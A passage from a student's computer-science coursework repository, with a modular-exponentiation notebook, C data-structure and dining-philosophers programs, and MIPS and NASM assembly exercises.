"sq\n", 27 | "26\n", 28 | "Result is 16\n" 29 | ] 30 | } 31 | ], 32 | "source": [ 33 | "#SAM : SCAN LEFT TO RIGHT BS\n", 34 | "i = int(input(\"enter the exponent: \"))\n", 35 | "x = int(input(\"Enter x: \"))\n", 36 | "n = int(input(\"Enter n:\"))\n", 37 | "b = str(bin(i)[2:])\n", 38 | "l = []\n", 39 | "res = x\n", 40 | "a = 1\n", 41 | "print(b)\n", 42 | "for j in range(1,len(b),1):\n", 43 | " res = (res*res)%n\n", 44 | " a = a*2\n", 45 | " print(\"sq\")\n", 46 | " print(a)\n", 47 | " if(b[j] == '1'):\n", 48 | " res = res*x%n\n", 49 | " a = a+1\n", 50 | " print(\"mul\")\n", 51 | " print(a)\n", 52 | "\n", 53 | "print(\"Result is\",res)" 54 | ] 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "metadata": {}, 60 | "outputs": [], 61 | "source": [] 62 | } 63 | ], 64 | "metadata": { 65 | "kernelspec": { 66 | "display_name": "Python 3", 67 | "language": "python", 68 | "name": "python3" 69 | }, 70 | "language_info": { 71 | "codemirror_mode": { 72 | "name": "ipython", 73 | "version": 3 74 | }, 75 | "file_extension": ".py", 76 | "mimetype": "text/x-python", 77 | "name": "python", 78 | "nbconvert_exporter": "python", 79 | "pygments_lexer": "ipython3", 80 | "version": "3.7.3" 81 | } 82 | }, 83 | "nbformat": 4, 84 | "nbformat_minor": 4 85 | } 86 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/top.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Top 5 | 12 | 13 | 14 |
15 | 16 |
17 | 18 |
19 | 20 |
21 | 22 |
23 |

Department of Computer Science and Engineering

24 |

25 | National Institute of Technology Calicut 26 |

27 |
28 |
29 |
30 | 49 |
50 | 51 | -------------------------------------------------------------------------------- /S5/NTC/.ipynb_checkpoints/FASTEXP-checkpoint.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "code", 5 | "execution_count": 33, 6 | "metadata": {}, 7 | "outputs": [ 8 | { 9 | "name": "stdout", 10 | "output_type": "stream", 11 | "text": [ 12 | "enter the exponent: 26\n", 13 | "Enter x: 2\n", 14 | "Enter n:23\n", 15 | "11010\n", 16 | "sq\n", 17 | "2\n", 18 | "mul\n", 19 | "3\n", 20 | "sq\n", 21 | "6\n", 22 | "sq\n", 23 | "12\n", 24 | "mul\n", 25 | "13\n", 26 | "sq\n", 27 | "26\n", 28 | "Result is 16\n" 29 | ] 30 | } 31 | ], 32 | "source": [ 33 | "#SAM : SCAN LEFT TO RIGHT BS\n", 34 | "i = int(input(\"enter the exponent: \"))\n", 35 | "x = int(input(\"Enter x: \"))\n", 36 | "n = int(input(\"Enter n:\"))\n", 37 | "b = str(bin(i)[2:])\n", 38 | "l = []\n", 39 | "res = x\n", 40 | "a = 1\n", 41 | "print(b)\n", 42 | "for j in range(1,len(b),1):\n", 43 | " res = (res*res)%n\n", 44 | " a = a*2\n", 45 | " print(\"sq\")\n", 46 | " print(a)\n", 47 | " if(b[j] == '1'):\n", 48 | " res = res*x%n\n", 49 | " a = a+1\n", 50 | " print(\"mul\")\n", 51 | " print(a)\n", 52 | "\n", 53 | "print(\"Result is\",res)" 54 | ] 55 | }, 56 | { 57 | "cell_type": "code", 58 | "execution_count": null, 59 | "metadata": {}, 60 | "outputs": [], 61 | "source": [] 62 | } 63 | ], 64 | "metadata": { 65 | "kernelspec": { 66 | "display_name": "Python 3", 67 | "language": "python", 68 | "name": "python3" 69 | }, 70 | "language_info": { 71 | "codemirror_mode": { 72 | "name": "ipython", 73 | "version": 3 74 | }, 75 | "file_extension": ".py", 76 | "mimetype": "text/x-python", 77 | "name": "python", 78 | "nbconvert_exporter": "python", 79 | "pygments_lexer": "ipython3", 80 | "version": "3.7.3" 81 | } 82 | }, 83 | "nbformat": 4, 84 | "nbformat_minor": 4 85 | } 86 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_3/ASSG3_2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #define bool int 6 | typedef struct Node Node; 7 | struct Node{ 8 | int key; 9 | Node* left; 10 | Node* right; 11 | }; 12 | int max(int a,int b) 13 | { 14 | if(a>b) 15 | return a; 16 | else 17 | return b; 18 | } 19 | /*Node* new_node(int data)// 20 | { 21 | Node* new_node = (Node*)malloc(sizeof(Node)); 22 | new_node->key = data; 23 | new_node->right = new_node->left = NULL; 24 | return new_node; 25 | }*/ 26 | Node* insert(Node* root)//node = root 27 | { 28 | char c; 29 | int n; 30 | scanf(" %c",&c); 31 | if(scanf("%d",&n)==1) 32 | { 33 | Node* new_node = (Node*)malloc(sizeof(Node)); 34 | new_node->key = n; 35 | new_node->left = new_node->right = NULL; 36 | root = new_node; 37 | root->left =insert(root->left); 38 | root->right = insert(root->right); 39 | scanf(" %c",&c); 40 | return root; 41 | } 42 | else 43 | { 44 | scanf(" %c",&c); 45 | return NULL; 46 | } 47 | } 48 | int isBST(Node* node) 49 | { 50 | if (node == NULL) 51 | return 1; 52 | 53 | if (node->left != NULL && node->left->key > node->key) 54 | return 0; 55 | 56 | if (node->right != NULL && node->right->key < node->key) 57 | return 0; 58 | 59 | if (!isBST(node->left) || !isBST(node->right)) 60 | return 0; 61 | 62 | return 1; 63 | } 64 | int height(Node* T) 65 | { 66 | if(T == NULL) 67 | return 0; 68 | else 69 | return max(height(T->left),height(T->right)) +1; 70 | } 71 | 72 | int isAVL(Node* root) 73 | { 74 | int lh; 75 | int rh; 76 | 77 | if (root == NULL) 78 | return 1; 79 | 80 | lh = height(root->left); 81 | rh = height(root->right); 82 | 83 | if (abs(lh - rh) <= 1 && isAVL(root->left) && isAVL(root->right)) 84 | return 1; 85 | 86 | return 0; 87 | } 88 | int main() 89 | { 90 | Node *tree = NULL; 91 | tree = insert(tree); 92 | if(isAVL(tree)==1 && isBST(tree)==1) 93 | printf("1\n"); 94 | else 95 | printf("0\n"); 96 | return 0; 97 | } 98 | -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q3.s: -------------------------------------------------------------------------------- 1 | # $t6 - i - before previous 2 | # $t7 - j - previous 3 | # $s7 - k - current 4 | # $s5 - a 5 | # $s6 - b 6 | 7 | .globl main 8 | 9 | .text 10 | 11 | main : 12 | # Print Prompt a 13 | li $v0, 4 14 | la $a0, prompt_a 15 | syscall 16 | 17 | # Read a 18 | li $v0, 5 19 | syscall 20 | move $s5, $v0 21 | move $s6, $v0 22 | 23 | li $t7 , 10 24 | 25 | li $t6, 0 # Digit Count = 0 26 | 27 | get_digits : 28 | beqz $s5 ,get_narc_sum 29 | 30 | div $s5,$t7 31 | mflo $s5 32 | mfhi $t3 33 | 34 | addi $t6, $t6, 1 # Digit Count += 1 35 | addi $sp, $sp, -4 # Push Digit 36 | sw $t3, 0($sp) 37 | 38 | j get_digits 39 | 40 | get_narc_sum : 41 | move $t5, $t6 42 | li $s0, 0 43 | narcLoop : 44 | beqz $t5, exit_sum 45 | addi $t5, -1 46 | move $t4, $t6 47 | 48 | lw $t3, 0($sp) 49 | addi $sp, $sp, 4 50 | 51 | move $a0, $t3 52 | move $a1, $t6 53 | jal power 54 | 55 | add $s0, $s0, $v1 56 | 57 | j narcLoop 58 | 59 | exit_sum : 60 | beq $s6,$s0,pyes 61 | j pno 62 | 63 | power : 64 | li $v1, 1 65 | move $t4, $a1 66 | powLoop : 67 | beqz $t4, retPower 68 | addi $t4, -1 69 | mult $v1, $a0 70 | mflo $v1 71 | j powLoop 72 | retPower : 73 | jr $ra 74 | 75 | pyes : 76 | li $v0, 4 77 | la $a0, yes 78 | syscall 79 | 80 | j exit 81 | 82 | pno : 83 | li $v0, 4 84 | la $a0, no 85 | syscall 86 | 87 | j exit 88 | 89 | print_space : 90 | li $v0, 4 91 | la $a0, spc 92 | syscall 93 | jr $ra 94 | 95 | print_nl : 96 | li $v0, 4 97 | la $a0, nl 98 | syscall 99 | jr $ra 100 | 101 | exit : 102 | jal print_nl 103 | li $v0, 10 104 | syscall 105 | 106 | .data 107 | prompt_a: .asciiz "Enter a : " 108 | yes: .asciiz "YES\n" 109 | no: .asciiz "NO\n" 110 | spc: .asciiz " " 111 | nl: .asciiz "\n" -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/float.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | format_in : db "%lf" 4 | format_out : db "Number : %lf",10 5 | 6 | section .bss 7 | a : resw 1 8 | b : resw 1 9 | c : resw 1 10 | t : resw 1 11 | temp : resw 1 12 | num : resw 1 13 | count : resb 1 14 | 15 | section .text 16 | global main 17 | extern scanf 18 | extern printf 19 | main : 20 | call _scan_float 21 | call _print_float 22 | 23 | jmp exit 24 | 25 | _scan_float : 26 | pusha 27 | push ebp 28 | mov ebp , esp 29 | sub esp , 8 30 | lea eax , [esp] 31 | push eax 32 | push format_in 33 | call scanf 34 | fld qword[ebp-8] 35 | mov esp , ebp 36 | pop ebp 37 | popa 38 | ret 39 | 40 | _print_float : 41 | pusha 42 | push ebp 43 | mov ebp , esp 44 | sub esp , 8 45 | fst qword[ebp-8] 46 | push format_out 47 | call printf 48 | mov esp , ebp 49 | pop ebp 50 | popa 51 | ret 52 | 53 | ; Read Multiple Digits 54 | read : 55 | mov word[temp] , 0 56 | _read : 57 | mov eax , 3 58 | mov ebx , 0 59 | mov ecx , t 60 | mov edx , 1 61 | int 80h 62 | cmp word[t] , 10 63 | je rRet 64 | 65 | sub word[t] , 30h 66 | mov ax , word[temp] 67 | mov bx , 10 68 | mul bx 69 | add ax , word[t] 70 | mov word[temp] , ax 71 | jmp _read 72 | rRet : 73 | mov ax , word[temp] 74 | ret 75 | 76 | ; Print Multiple Digits 77 | print : 78 | mov byte[count] , 0 79 | pusha 80 | digs : 81 | cmp word[temp] , 0 82 | je print_ 83 | inc byte[count] 84 | mov edx , 0 85 | mov ax , word[temp] 86 | mov bx , 10 87 | div bx 88 | push edx 89 | mov word[temp] , ax 90 | jmp digs 91 | 92 | print_ : 93 | cmp byte[count] , 0 94 | je pRet 95 | dec byte[count] 96 | pop edx 97 | mov word[t] , dx 98 | add byte[t] , 30h 99 | 100 | mov eax , 4 101 | mov ebx , 1 102 | mov ecx , t 103 | mov edx , 1 104 | int 80h 105 | jmp print_ 106 | 107 | pRet : 108 | mov eax , 4 109 | mov ebx , 1 110 | mov ecx , nl 111 | mov edx , 1 112 | int 80h 113 | 114 | popa 115 | ret 116 | 117 | ; Exit 118 | exit : 119 | mov eax , 1 120 | mov ebx , 0 121 | int 80h 122 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/int.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | nl : db 10 3 | format_in : db "%d" 4 | format_out : db "Number : %d",10 5 | 6 | section .bss 7 | a : resw 1 8 | b : resw 1 9 | c : resw 1 10 | t : resw 1 11 | temp : resw 1 12 | num : resw 1 13 | count : resb 1 14 | 15 | section .text 16 | global main 17 | extern scanf 18 | extern printf 19 | main : 20 | call _scan 21 | call _print 22 | 23 | jmp exit 24 | 25 | _scan : 26 | pusha 27 | push ebp 28 | mov ebp , esp 29 | sub esp , 2 30 | lea eax , [ebp-2] 31 | push eax 32 | push format_in 33 | call scanf 34 | mov ax , word[ebp-2] 35 | mov word[temp] , ax 36 | mov esp , ebp 37 | pop ebp 38 | popa 39 | ret 40 | 41 | _print : 42 | pusha 43 | push ebp 44 | mov ebp , esp 45 | sub esp , 2 46 | mov ax , word[temp] 47 | mov word[ebp-2] , ax 48 | push format_out 49 | call printf 50 | mov esp , ebp 51 | pop ebp 52 | popa 53 | ret 54 | 55 | ; Read Multiple Digits 56 | read : 57 | mov word[temp] , 0 58 | _read : 59 | mov eax , 3 60 | mov ebx , 0 61 | mov ecx , t 62 | mov edx , 1 63 | int 80h 64 | cmp word[t] , 10 65 | je rRet 66 | 67 | sub word[t] , 30h 68 | mov ax , word[temp] 69 | mov bx , 10 70 | mul bx 71 | add ax , word[t] 72 | mov word[temp] , ax 73 | jmp _read 74 | rRet : 75 | mov ax , word[temp] 76 | ret 77 | 78 | ; Print Multiple Digits 79 | print : 80 | mov byte[count] , 0 81 | pusha 82 | digs : 83 | cmp word[temp] , 0 84 | je print_ 85 | inc byte[count] 86 | mov edx , 0 87 | mov ax , word[temp] 88 | mov bx , 10 89 | div bx 90 | push edx 91 | mov word[temp] , ax 92 | jmp digs 93 | 94 | print_ : 95 | cmp byte[count] , 0 96 | je pRet 97 | dec byte[count] 98 | pop edx 99 | mov word[t] , dx 100 | add byte[t] , 30h 101 | 102 | mov eax , 4 103 | mov ebx , 1 104 | mov ecx , t 105 | mov edx , 1 106 | int 80h 107 | jmp print_ 108 | 109 | pRet : 110 | mov eax , 4 111 | mov ebx , 1 112 | mov ecx , nl 113 | mov edx , 1 114 | int 80h 115 | 116 | popa 117 | ret 118 | 119 | ; Exit 120 | exit : 121 | mov eax , 1 122 | mov ebx , 0 123 | int 80h 124 | -------------------------------------------------------------------------------- /S4/DSA/Assignment_2/ASSG2_3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | struct Node 4 | { 5 | int data; 6 | struct Node *l; 7 | struct Node *r; 8 | struct Node *p; 9 | }; 10 | typedef struct Node node; 11 | 12 | void mirror(node **t) 13 | { 14 | if(*t==NULL) 15 | return; 16 | else 17 | { 18 | mirror(&((*t)->l)); 19 | mirror(&((*t)->r)); 20 | node *tm=(*t)->l; 21 | (*t)->l=(*t)->r; 22 | (*t)->r=tm; 23 | } 24 | int tab; 25 | } 26 | 27 | void insert(node **t,int e) 28 | { 29 | node *z=(node*)malloc(sizeof(node)); 30 | z->data=e; 31 | z->l=NULL; 32 | z->r=NULL; 33 | z->p=NULL; 34 | 35 | node *y=NULL; 36 | node *x=*t; 37 | while((x)!=NULL) 38 | { 39 | y=x; 40 | if((z->data) <= (x->data)) 41 | x=x->l; 42 | else 43 | x=x->r; 44 | } 45 | z->p=y; 46 | if(y==NULL) 47 | { (*t)=z;z->l=0;} 48 | else if ((z->data) <= (y->data)) 49 | y->l=z; 50 | else 51 | y->r=z; 52 | int tab; 53 | } 54 | void paren(node **t) 55 | { 56 | if((*t)!=NULL) 57 | { 58 | printf("(%d ",(*t)->data); 59 | paren(&(*t)->l); 60 | paren(&(*t)->r); 61 | } 62 | else if ((*t)==NULL) 63 | { 64 | printf("()"); 65 | return; 66 | } 67 | printf(")"); 68 | } 69 | 70 | void main() 71 | { 72 | char ch;char *s;int top=-1,f=0; 73 | while(scanf("%c",&ch)) 74 | { 75 | top++; 76 | *(s+top)=ch; 77 | if(ch=='(') 78 | f++; 79 | else if(ch==')') 80 | f--; 81 | if(f==0) 82 | break; 83 | } 84 | node *t=NULL; 85 | for(int i=0;i<=top;i++) 86 | { 87 | if(!(s[i]==')'||s[i]=='('||s[i]==' ')) 88 | { 89 | int n=0; 90 | while(s[i]>='0'&&s[i]<='9') 91 | { 92 | n=10*n+(int)(s[i])-48; 93 | i++; 94 | if(i==top) 95 | break; 96 | } 97 | insert(&t,n); 98 | } 99 | } 100 | mirror(&t); 101 | paren(&t); 102 | printf("\n"); 103 | } 104 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q3/q3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define THINKING 2 8 | #define HUNGRY 1 9 | #define EATING 0 10 | #define n 5 11 | 12 | int state[n]; 13 | int phil[n] = { 0, 1, 2, 3, 4 }; 14 | 15 | sem_t mutex; 16 | sem_t S[n]; 17 | 18 | int left(int i) 19 | { 20 | return (i + 4) % n ; 21 | } 22 | 23 | int right(int i) 24 | { 25 | return (i + 1) % n ; 26 | } 27 | 28 | void test(int phnum) 29 | { 30 | if (state[phnum]==HUNGRY && state[left(phnum)]!=EATING && state[right(phnum)]!=EATING) 31 | { 32 | state[phnum] = EATING; 33 | sleep(2); 34 | printf("Philosopher %d takes fork %d and %d\n", 35 | phnum + 1, left(phnum) + 1, phnum + 1); 36 | printf("Philosopher %d - Eating\n", phnum + 1); 37 | sem_post(&S[phnum]); 38 | } 39 | } 40 | 41 | void take_fork(int phnum) 42 | { 43 | sem_wait(&mutex); 44 | state[phnum] = HUNGRY; 45 | printf("Philosopher %d - Hungry\n", phnum + 1); 46 | test(phnum); 47 | sem_post(&mutex); 48 | sem_wait(&S[phnum]); 49 | sleep(1); 50 | } 51 | 52 | void put_fork(int phnum) 53 | { 54 | sem_wait(&mutex); 55 | state[phnum] = THINKING; 56 | printf("Philosopher %d fork %d and %d down\n",phnum + 1, left(phnum) + 1, phnum + 1); 57 | printf("Philosopher %d - thinking\n", phnum + 1); 58 | test(left(phnum)); 59 | test(right(phnum)); 60 | sem_post(&mutex); 61 | } 62 | 63 | void* philospher(void* num) 64 | { 65 | while (1) { 66 | int* i = num; 67 | sleep(1); 68 | take_fork(*i); 69 | sleep(0); 70 | put_fork(*i); 71 | } 72 | } 73 | 74 | int main() 75 | { 76 | int i; 77 | pthread_t thread_id[n]; 78 | sem_init(&mutex, 0, 1); 79 | for (i = 0; i < n; i++) 80 | sem_init(&S[i], 0, 0); 81 | 82 | for (i = 0; i < n; i++) 83 | { 84 | 85 | pthread_create(&thread_id[i], NULL,philospher,&phil[i]); 86 | printf("Philosopher %d - thinking\n", i + 1); 87 | } 88 | for (i = 0; i < n; i++) 89 | pthread_join(thread_id[i], NULL); 90 | } 91 | -------------------------------------------------------------------------------- /S4/CO/NASM/Assignment_4/Prac/1.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | spc : db 32 3 | ps1 : db "Enter String 1 : " 4 | ls1 : equ $-ps1 5 | ps2 : db "Enter String 2 : " 6 | ls2 : equ $-ps2 7 | nl : db 10 8 | 9 | section .bss 10 | sta : resb 100 11 | stb : resb 100 12 | len : resb 1 13 | la : resb 1 14 | lb : resb 1 15 | t : resb 1 16 | b : resb 1 17 | 18 | section .text 19 | global _start 20 | 21 | _start : 22 | mov eax , 4 23 | mov ebx , 1 24 | mov ecx , ps1 25 | mov edx , ls1 26 | int 80h 27 | 28 | mov ebx , sta 29 | call read_string 30 | mov cl , byte[len] 31 | mov byte[la] , cl 32 | 33 | mov eax , 4 34 | mov ebx , 1 35 | mov ecx , ps2 36 | mov edx , ls2 37 | int 80h 38 | 39 | mov ebx , stb 40 | call read_string 41 | mov cl , byte[len] 42 | mov byte[lb] , cl 43 | 44 | mov eax , sta 45 | movzx ebx , byte[la] 46 | mov ecx , stb 47 | movzx edx , byte[lb] 48 | call concat_string 49 | 50 | mov ecx , sta 51 | movzx edx , byte[la] 52 | add dl , byte[lb] 53 | call print_string 54 | 55 | 56 | call print_nl 57 | 58 | jmp exit 59 | 60 | concat_string : 61 | pusha 62 | add eax , ebx 63 | mov ebx , 0 64 | cpLoop : 65 | cmp ebx , edx 66 | je endConc 67 | push edx 68 | movzx edx , byte[ecx] 69 | mov byte[eax] , dl 70 | pop edx 71 | inc ebx 72 | inc eax 73 | inc ecx 74 | jmp cpLoop 75 | endConc : 76 | popa 77 | ret 78 | 79 | print_string : 80 | pusha 81 | mov eax , 4 82 | mov ebx , 1 83 | int 80h 84 | popa 85 | ret 86 | 87 | read_string : 88 | pusha 89 | mov ecx , 0 90 | mov byte[len] , 0 91 | rsLoop : 92 | push ecx 93 | push ebx 94 | mov eax , 3 95 | mov ebx , 0 96 | mov ecx , t 97 | mov edx , 1 98 | int 80h 99 | pop ebx 100 | pop ecx 101 | 102 | cmp byte[t] , 10 103 | je endRS 104 | movzx edx , byte[t] 105 | mov byte[ebx+ecx] , dl 106 | inc ecx 107 | jmp rsLoop 108 | endRS : 109 | mov byte[ebx+ecx] , 0 110 | mov byte[len],cl 111 | popa 112 | ret 113 | 114 | print_nl : 115 | pusha 116 | mov ecx , nl 117 | mov edx , 1 118 | call print_string 119 | popa 120 | ret 121 | 122 | exit : 123 | mov eax , 1 124 | mov ebx , 0 125 | int 80h 126 | --------------------------------------------------------------------------------